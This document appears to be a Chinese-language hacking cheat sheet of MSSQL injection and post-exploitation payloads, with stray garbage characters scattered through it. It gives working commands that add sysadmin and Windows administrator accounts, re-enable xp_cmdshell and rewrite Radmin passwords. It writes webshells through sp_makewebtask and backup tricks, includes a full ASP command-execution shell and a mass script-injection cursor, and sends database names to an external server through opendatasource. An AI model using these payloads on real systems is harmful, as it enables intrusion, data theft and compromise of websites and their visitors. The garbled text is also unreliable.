exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'+ W$ f `/ Z3 J8 o- B
6 \& L! X' g7 A& M8 T; ] ] E读取目录内容 & m" y# K/ `6 N5 c. }% u. L7 \8 Sexec master..xp_dirtree 'c:\winnt\system32\',1,1 I1 s2 p6 ]# }1 b- y4 d _) r8 v/ w% O6 q+ S+ T/ P
0 z! ]5 N# @' T# g7 P
数据库备份6 h& K- ^8 W1 \. Z8 H. P
backup database pubs to disk = 'c:\123.bak' 8 Y) K" u7 A* ~* y) t & M# m$ o- z0 V. ^9 \9 ]//爆出长度 8 p8 E- j1 N- s$ [And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;-- 4 W1 @, b; }4 u, f' O0 p1 V6 y, ` b9 h9 k* L* E$ a
?0 B7 |7 ^) m. o 2 \8 n$ ?" S3 {2 \/ ]- b更改sa口令方法:用sql综合利用工具连接后,执行命令: |: O T! x% Lexec sp_password NULL,'新密码','sa' - w3 C" b E' h( @( a/ m: V5 x5 x7 U8 y% y- a' g+ b% n, [- k/ X6 ?
添加和删除一个SA权限的用户test: ; V/ l" ]7 S% ^2 k+ [9 P$ ]" Rexec master.dbo.sp_addlogin test,9530772/ S" b' b1 K8 m' O" Z8 Q! _
exec master.dbo.sp_addsrvrolemember test,sysadmin / T$ \; P9 q* i U* g5 F / x2 Y0 ^' P2 g7 m X% f$ _0 r删除扩展存储过过程xp_cmdshell的语句:& K( g) e+ X. R* [6 W1 G
exec sp_dropextendedproc 'xp_cmdshell'' d% H2 \, q8 f6 A! j
7 C, z5 Z/ S9 i8 n: S& w) Q添加扩展存储过过程 % ^8 P: ^; [: J5 }4 [% XEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'( U6 d/ b ^9 R
GRANT exec On xp_proxiedadata TO public + k q$ x8 C# m& X" H) `. p8 P p) \! D# {4 B0 U7 J' Z7 x 2 E! x i8 n& x停掉或激活某个服务。! S8 K0 Z4 r/ \
3 G6 x' p/ l! e. p
exec master..xp_servicecontrol 'stop','schedule' + p7 h5 D% X8 A+ E9 g0 rexec master..xp_servicecontrol 'start','schedule'4 k- C0 _+ z& h! [* X, i) K9 X6 @
$ A4 {1 { `7 r& N, J6 sdbo.xp_subdirs & u: I0 M, [, P N! p4 O% W1 ~4 o; u) _3 s
只列某个目录下的子目录。 & l7 i; d: \% w ~/ Oxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp' 5 p2 H& x/ R1 x. q' P3 I% ~+ L4 w0 o
dbo.xp_makecab * t J# c/ b6 |* x- {- e" [3 `0 Y
将目标多个档案压缩到某个目标档案之内。 0 c/ W% q( }, ~+ [( |所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。 6 d6 Y+ f6 F9 }3 y% Y$ V' Z4 O: {& Y: @% K5 I
dbo.xp_makecab 8 _. {, I. X+ L'c:\test.cab','mszip',1, / E& ?& ^$ g, o# m! G* D8 M'C:\Inetpub\wwwroot\SQLInject\login.asp', ( i. u ]1 j4 |) d/ q* ]7 s'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'( b9 i& a! L5 K: Q; @
1 ~: t: Q% [& b" sxp_terminate_process# V# r3 N6 F1 u& \* h
& b% c7 D& g+ A& W: |/ a7 s% E停掉某个执行中的程序,但赋予的参数是 Process ID。 ! s6 @0 a' A G- s( l- Z利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID3 A7 u3 F+ a6 q( w
/ q- H" p4 [8 m( ^9 J. l
xp_terminate_process 2484 L9 [1 O3 ~4 ]) e& Y
7 y' N5 n5 T5 E$ H) W
xp_unpackcab. \5 u: C a/ m0 r$ N& v- {5 _3 l* L5 w
; I, h, V! k% v' g% H解开压缩档。 - H" |& D0 [4 R# g1 ? |. {( Y. p! \; f& I* L9 ?
xp_unpackcab 'c:\test.cab','c:\temp',15 x' L9 Z: a' j0 M% C2 O
* Z! p& n$ s. u) |
" N( \# k' c) H0 V ]- x- m/ A+ M# T |某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234 % g5 T$ `% n3 u) u! O2 u$ M. M2 `& B& ^2 W3 a
create database lcx;- Z* y P! {* f! R& [8 V
Create TABLE ku(name nvarchar(256) null); $ D# ~; j2 ]& [' z. [Create TABLE biao(id int NULL,name nvarchar(256) null); 6 g- B/ q5 E# |. W! x* ^) W' G8 m/ O# q ]0 B) \% c7 {- q
//得到数据库名. m. p7 @- C# L
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases( k' m! x% m( G: j$ ?- U ~
6 n6 t. \ a% N# U2 k5 M1 [2 H6 J6 o% R3 Y! v
//在Master中创建表,看看权限怎样; x0 D9 k3 f- Y6 G5 ^/ M }
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--8 U$ [( a% a q0 W7 [
! S3 F4 j: B7 H+ O0 v) S! {
用 sp_makewebtask直接在web目录里写入一句话马:0 |4 H" b |3 x6 ?' y8 Z) n http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--' U1 y2 l9 |( w$ a: u- c
! t9 A4 T5 K6 U& T9 V7 G
//更新表内容 0 J. F+ n" `$ L5 s2 p: m* O, xUpdate films SET kind = 'Dramatic' Where id = 123 3 y, N' g% b- O( Z5 T 4 |- ~* y& f: g f8 ~* W6 Q- J//删除内容* ^1 \; y/ J5 J' }' M0 N# z
delete from table_name where Stockid = 3& u' e; C0 W$ f ?
+ ?2 x6 F) X8 U' {& e3.注入参数是字符'and [查询条件] and ''=' 2 v0 r7 ], g$ M! e* Z1 E/ @5 }$ T7 Q& a- @1 k3 k5 x$ A
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 9 O6 P7 z r% m s7 D 2 a+ R5 h; p6 u( I5.判断数据库系统 # W4 z) @/ j, c
;and (select count(*) from sysobjects)>0 mssql 3 @' G! Y; N# O6 L; G( {;and (select count(*) from msysobjects)>0 access : P$ Y, c: w7 e
2 |7 F1 S, z( m
6.猜数据库 ;and (select Count(*) from [数据库名])>0 / H+ N4 V4 s6 ^% V; |9 W" [8 P
' N+ e4 y+ _. ^; k4 N6 E( Y
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1 B' a0 p$ r3 m& W8 A1 k$ M5 S2 \5 J5 p
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 , c% v6 N! [: a8 r3 B( A d1 W8 |: P
9.(1)猜字段的ascii值(access) 2 m( ^2 t0 c% b O) v
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 $ i7 o$ M6 d7 Y# Z1 f2 e9 p( E8 ^. I0 d; Y. l1 b. I+ w/ b) Q
(2)猜字段的ascii值(mssql) + S' U z$ b5 V. m; Q6 R
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ' O0 t: Q" T/ G4 ~: p
+ ~ t' p T% O1 r4 ]. W; F+ z4 s
10.测试权限结构(mssql) * ?: F* G4 s% L4 G5 h1 y
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9 ?- L( _4 ~, [+ }" u" Z4 o V;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ b( v( [- P, W! W* W& };and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- % G* u$ G# ~3 j4 O6 s
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- # c9 q' V8 I2 M' `3 k;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2 V% K- j2 [6 j: P: n' I
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- # l" L: _+ {0 _' ~;and 1=(select IS_MEMBER('db_owner'));-- , t6 ^- P( @8 W8 }+ ^
% |# _/ V$ {6 \/ I* D0 P
11.添加mssql和系统的帐户 ( u' a( f2 g* D# n
;exec master.dbo.sp_addlogin username;-- 6 @* `( R" k$ w \7 ~# P " |0 C3 V' t+ `' w- X5 h0 o;exec master.dbo.sp_password null,username,password;-- $ `1 ^6 D8 L$ E- ~: M0 E3 c/ y* ?
8 b4 h2 ]$ o+ @) E6 @;exec master.dbo.sp_addsrvrolemember sysadmin username;-- / ^6 a3 w+ B" c J7 @9 u! X1 B8 b , y7 Z& Q& ~+ U- E3 m;exec master.dbo.xp_cmdshell 'net user username password ; y7 P* D+ T3 x( O t/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- " F6 q- ~7 K1 t8 o5 R% [- i . i3 ]( l! F: [3 I0 S;exec master.dbo.xp_cmdshell 'net user username password /add';-- + O3 a3 M& H! K; ^ 0 `( E0 \$ V, O' F;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ( L9 b) w1 p7 t 9 x6 V; ~! k3 F" v12.(1)遍历目录 - k, Q" N' `' u7 g9 J7 ^ ) b4 Y: B" V6 T" e) O;create table dirs(paths varchar(100), id int) 4 W1 F r1 w" z& [' E: l
;insert dirs exec master.dbo.xp_dirtree 'c:\' ) T: a# g5 H- P. k; I3 e2 ^+ O3 B( o Q) Q
;and (select top 1 paths from dirs)>0 + x! U+ }9 E3 x' {: V+ M;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ( H/ \- b+ ?: |( s3 E3 j- O $ i C2 _. m: D" q" O% x( E5 C(2)遍历目录 , v: U) B* A6 s" k4 \; c: O- F# J;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5 l3 x3 A/ U" m8 U/ D1 {;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3 |6 ~& D# Q4 P6 i7 q3 o;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 " _- h9 s' E: W7 J* v! _6 y2 n0 n& T$ W;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 1 P: ^( m, v) V9 U1 [: V;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ! {" h2 H8 M0 V- H# n) ?
! J9 H |$ K1 s) s; G4 y& P
13.mssql中的存储过程 - o' J8 g# e# }( J0 {6 e" M4 Y: m; j
xp_regenumvalues 注册表根键, 子键 9 Z5 x/ G/ ]) V" N( M2 G
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ! Z5 h, M) a9 D5 w( F" ^+ w
t) u" S. @: C' g nxp_regread 根键,子键,键值名 + o4 W5 N+ Y' I
;exec xp_regread G2 \! w2 M, Y. S& j
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % M4 p- m7 Z9 k1 [+ d0 O2 f: |
1 r. }! M% Z3 y( t" oxp_regwrite 根键,子键, 值名, 值类型, 值 . L1 F* I4 O6 P2 ^* g( ?& O* C值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 + \" a! \ ]0 j( t! Z: f
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 : V/ q1 O9 d; x; g# N9 \; ]. q8 e6 A
xp_regdeletevalue 根键,子键,值名 5 e; ~6 M+ X* [) @* d! x/ S $ \* Q w, }$ w: Qexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 4 r! u4 r5 X# K( V; j, I2 S- D
! [8 w; ~0 V4 V5 g
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 / ~2 h6 i! `) K9 \4 }
: X- n q$ y5 O& ?. _: \8 Y
14.mssql的backup创建webshell & J- z( ]. j0 c. V) l) {use model % Q2 k' }% Q" W) B4 u1 Hcreate table cmd(str image); ; ^9 b- }5 g& V5 Hinsert into cmd(str) values (''); 2 Y% A+ D; s# Q8 _: A: q+ ~backup database model to disk='c:\l.asp'; 3 y W) f9 `$ G( i8 E2 ~/ |, \ / t6 ~& i Q( E" r4 a; A15.mssql内置函数 7 G( o6 R5 M4 A% [1 i;and (select @@version)>0 获得Windows的版本号 / B. {! Q6 w7 D7 d W: z7 @" W7 U: R;and user_name()='dbo' 判断当前系统的连接用户是不是sa / ~( L4 l7 W. D& q;and (select user_name())>0 爆当前系统的连接用户 }$ [/ J. q5 S3 {4 w: @; D- j;and (select db_name())>0 得到当前连接的数据库 " X* E& `" I2 U3 F9 a6 \' I 6 Z+ a# e9 V& ]4 r; v* H16.简洁的webshell ) f: e; H' k G" R# z # t& m1 ^* L4 D5 G2 o. E2 Puse model + ^% P1 \1 ^ j% e) f
$ T7 N0 L, W# j. l( H
create table cmd(str image); # C3 F0 t% R1 K" Q6 K1 m% z" I, F- g$ o( q& W
insert into cmd(str) values (''); ! D' W4 N [ ^ 5 U p( h9 p) Z: v: W8 `backup database model to disk='g:\wwwtest\l.asp'; # o0 Q4 F i& J1 s4 b
K* J4 ] O# i( ^ m, L' i Y* v5 C+ A3 N; e& [
+ n& S* F. M: ?6 T) M ' R3 W+ {/ ?- ]# a (3) y* s% x% D q9 A; S , v8 [1 Q) c! v " D. [2 }& G5 f1 V8 |) [/ K可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。9 {1 R- ?5 v }- O" |
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。 1 E h/ |0 O6 ^ t2 S7 a要想让运行命令可以试试这种方法,成功率为五五之数。$ G. k/ K! K4 ^8 ?5 U# b
把下面代码复制: r; e: V1 W4 d* s+ n X
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>( c' _9 [9 A- R
<%if err then%> " b& D2 m; M' ~; q) v1 }' n. R& v) b<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>) s2 c) X; [3 W" \5 U* C
<% * T7 d+ v- [1 `5 R2 cend if$ U1 U i% e' T# k
response.write("<textarea readonly cols=80 rows=20>") 0 j7 M x5 L; Y4 ^" Z7 u/ WOn Error Resume Next D8 C1 \ n. G; c$ Eresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall5 g1 K$ Q' h% }7 C* e% e
response.write("</textarea>") 5 h5 \7 |& N0 J0 Uresponse.write("<form method='post'>") 0 j. c6 I' _$ A% Xresponse.write("<input type=text name='c' size=60><br>") 9 i6 L; {% A6 S) tresponse.write("<input type=submit value='执行'></form>") 3 j. ]; J8 M1 T* _" y%> 0 d9 ` X' | U1 t @6 l( E6 P" q+ H; W
保存为一个asp文件,然后传到网站目录上去9 [2 b. _, I2 K& d5 b9 A; O
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。 ' \/ [* u. R% Q/ @" l2 L; t我用此成功运行过cacls命令。 2 ?, S; G; n# s' O0 A8 ], U. M# B& A) O( t' o6 s0 n" Y/ k
第二那就是运行时出错,可能限制某些代码执行9 V; ^2 g! i7 |, ? K
" \" d. j) P9 d* s 9 C3 F- n: X2 J) T2 W& b/ N (4)4 d6 a2 @1 u! O9 @ R# M) ?) \
, U" `: X. D/ T6 x8 |$ K; X; t/ ~
) c8 w2 _/ C H4 C# w9 g
◆获取数据库名 & r$ G* |4 }2 Q* ]# T and db_name()=03 U# T6 r0 h/ \% V! i% G# \8 ?
and db_name(0)=05 K( t, f) A$ b3 J' Z. F% D
and db_name(__i__)=0 $ D- ~- J; R8 W! _5 ~8 S4 _* E and quotename(db_name(__i__))=0 ) }) q& R' H1 M& E. P# A/ Y' l, y
◆获取用户名 9 m$ ?$ K+ D& ~- y- h and user=0 ' b: {8 Z, {6 s* i4 k/ ]* n" s2 n6 ^
◆获取版本信息 , U% }* ^' J2 h9 m% c- |. U8 R5 m and @@version=08 l$ T7 K7 K# H! I! [2 R
! a2 g& w" e7 g; b8 f◆获取服务器名 ^5 x d7 W7 l+ [( v3 A
and @@servername=0 1 W, |% w2 H. B; V/ J. T ( `! O3 g8 X% T3 I: R◆获取服务名& \" u& g4 a0 F, a
and @@servicename=0 1 c* g) n8 n! B6 B+ _4 g* Z1 T) X
◆获取系统用户名( L$ \9 x/ \+ O; }5 k4 o( h
and system_user=0 ; a* G' W5 B- C0 t! G, y2 R5 n
◆一次性获取所有基本信息 ( `6 e; V- f$ f G AnD (dB_NaMe(0)+cHaR(124)+uSeR+cHaR(124)+@@vErSiOn+cHaR(124)+@@sErVeRnAmE+cHaR(124)+@@sErViCeNaMe+cHaR(124)+sYsTeM_UsEr)=0 3 I' B% Y- D2 j& U+ A0 D3 d1 `4 b/ G2 U: g6 w+ P K' B: L
◆一次性探测权限8 r2 b3 A- s! }! @
AnD (cAsT(iS_srvrOlEmEmBeR(0x730079007300610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x64006200630072006500610074006f007200)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x620075006c006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x6400690073006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x730065007200760065007200610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x7000750062006c0069006300) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006f0077006e0065007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006200610063006b00750070006f00700065007200610074006f007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006400610074006100770072006900740065007200) aS vArChAr))=04 a1 B3 J+ m9 }
" n7 f3 K1 [5 l7 I
◆获取数据库的数目( I+ y/ Y8 Y5 @# m/ g
AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm mAsTeR..sYsDaTaBaSeS)=0 # U3 i$ m1 a/ u, |, [4 C ( J0 n7 t X$ r; r1 z, |+ P◆获取数据库文件名& h# p& ]& b/ W+ R
and (select top 1 filename from (select top __i__ filename from master..sysdatabases order by filename) t order by filename desc)=0 ! v2 h5 z6 F/ a8 J( ?. k! X+ J" U( ?' ]5 j) m" Q+ r4 o
◆同时获取数据库名和数据库文件名* e5 L0 _; c2 N, F) D; `4 E- q
AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(nAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(filenAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ nAmE,filenAmE FrOm mAsTeR..sYsDaTaBaSeS oRdEr bY nAmE) t oRdEr bY nAmE dEsC)=0 - V: U0 m, q) ~( m" F( h; I; }/ N( n' } q$ U9 N
◆获取数据库的表的数目+ t! A& i6 ~ R
and (select cast(count(1) as varchar)+char(9) from <数据库名>..sysobjects where xtype=0x75)=0 ; T- W: k( q$ B& y$ o0 e - X y x2 Q" H/ L' w! d) r◆获取数据库的表 ; P. h& v, H9 Z' Q1 n and (select top 1 name from (select top __i__ name from <数据库名>..sysobjects where xtype=0X75 order by name) t order by name desc)=0* o6 [# e( m; W: y
and (select top 1 quotename(name) from <数据库名>.dbo.sysobjects where xtype=char(85) AND name not in (select top __i__ name from <数据库名>.dbo.sysobjects where xtype=char(85)))=04 d) Q M) s; M( m( {+ I9 z
) ]" D+ z) }* `
◆获取表的字段的数目; k( o1 k2 l9 V2 |* m2 F
and (select cast(count(1) as varchar)+char(9) from <数据库名>..syscolumns where id=object_id('<表名>'))=0! K2 p3 s3 N' u1 Z
$ R x( S: z/ b/ g: ^
◆获取数据库表的字段 - R1 t! `! |8 \! d, s and (select top 1 name from (select top __i__ name,id from <数据库名>..syscolumns where id=object_id('<表名>') order by name) t order by name desc)=0) f- A: E+ B! d4 | t" ?
and (select col_name(object_id('<表名>'),__i__))=0/ [: [& M; l. ^4 `
* M% M: B3 B6 a' Q% B3 r) S! P◆获取满足条件的表的记录数' T4 h5 y N! d) B
AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm <数据库名>..<表名>)=0 5 Y: x {8 {2 \8 r8 I7 G $ C4 v& g# h7 Y+ |◆获取数据库的内容" K& L1 ^( ~# @
AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(<列名1> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名2> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名3> aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ <列名1>,<列名2>,<列名3> FrOm <数据库名>..<表名> oRdEr bY <排序列名>) t oRdEr bY <排序列名> dEsC)=0. ~3 j1 y9 d. i$ m# E1 T" o6 U: i
* E; m1 B% S8 A' l W; [8 i+ _3 b& z+ m◆基于日志差异备份# ]3 V& w G0 X4 |/ C0 p
--1. 进行初始备份 ! j3 V( i# u( r; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<临时文件名:e:\wwwroot\m.asp>' With Init--6 g4 d' X5 n3 X, A% a
. I1 F( I& L5 U
--2. 插入数据 6 D2 C7 ~- Z. T2 [3 B;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)-- & V# w5 G) n: M& h( m* n' G ) N& G! i$ g2 j, [3 j" W--3. 备份并获得文件,删除临时表9 R: K$ B. U1 E6 {
;Backup Log <数据库名> To Disk = '<要生成的文件名:e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE-- * `6 H" y) Y& \$ j7 Y$ N1 {% a$ k7 I n7 [4 [
◆基于数据库差异备份 , e {- [( l/ h* g4 v E$ J1. 进行差异备份准备工作* ^4 q$ P' n6 L0 u
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<临时文件名:0x633A5C617364662E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--% v4 {) }1 `. p
$ ~* r( H( g3 W% o$ z3. 备份数据库并作最后的清理工作, f$ @8 Z. C4 s2 C, {2 L
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<最终需要备份出的文件名:0x633A5C617364662E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--& }& s# x$ H5 [; o+ ?
, j; b: l" l) F4 u! `+ N# \◆数据库插马(插指定数据库的指定表的满足条件的记录)" s7 ?$ q" A. y9 ?
;update <数据库名>..<表名> set <字段名>=<字段名>+'<script>alert("有漏洞啊。")</script>' where <要满足的条件>-- - H& h" u& n3 @ ; B$ ?3 o. ^7 W◆数据库批量插马(插所有可插入的字段和记录,危险!!请谨慎操作!!) 8 }- G8 }: _5 Q2 w' f& e) e;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(<要插入的内容(0x编码形式)> aS vArChAr(200<此处长度应做相应修改>))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;-- / D& o) s& Z, J% a- Z8 Z: f 1 [& P6 M0 H5 y; {+ q) i9 K" P ) g# b; ?7 I& M) a, z8 V C9 S;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,s yscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<要插入的内容>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor--: @4 U* g5 d0 ~& O% {: {
1 Z+ I. R; }0 m/ ?◆执行命令行(无结果返回)0 W, ?5 W, g' M- W# w0 y: [2 P
;exec master..xp_cmdshell 'net user name password /add & net localgroup administrators name /add'--1 h( g8 J; n% Y% c
, N& c" Y, N( r6 q3 _# d◆恢复存储过程 xp_cmdshell* q! k7 [+ E3 W" j. P1 U: e
;Exec Master..sp_dropextendedproc 0x780070005F0063006D0064007300680065006C006C00;Exec Master..sp_addextendedproc 0x780070005F0063006D0064007300680065006C006C00,0x78706C6F6737302E646C6C-- . l6 z2 Q8 D" X) t) E4 G; @$ k6 S
◆SQLServer 2005 开启和关闭 xp_cmdshell4 ~+ j1 k2 x& l5 x/ g
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',1;RECONFIGURE; & S: `+ N; g: t6 O+ ]1 N: h6 M5 H/ B( S% {8 w3 A L- f& X3 I
关闭 xp_cmdshell / d* t2 [2 n X% `* `4 };EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',0;RECONFIGURE;: i3 B5 ?7 i* u, I
4 P7 x1 |% Y% ?) i◆SQLServer 2005 开启和关闭 OpenDataSource/OpenRowSet + o4 c' j6 ?6 y" {2 K# m/ h开启: ! e+ |* l$ U2 o- g9 k;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;0 I, Y$ j D0 P/ t) l! C& B4 Z4 k( I
关闭:$ i' @5 J2 n" l9 n! K
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE; 0 V- y5 r, E* n, Q2 u- z8 D # G* e$ ~+ {! J- b◆SQLServer 2005 日志差异备份 G3 y2 `3 A5 e3 B6 {( |6 ] f2 h3 y& x
alter database [testdb] set recovery full 0 X, @$ v( Z* B; ^declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup database __dbname__ to disk=@d with init--! H+ l! o: N: |/ e6 }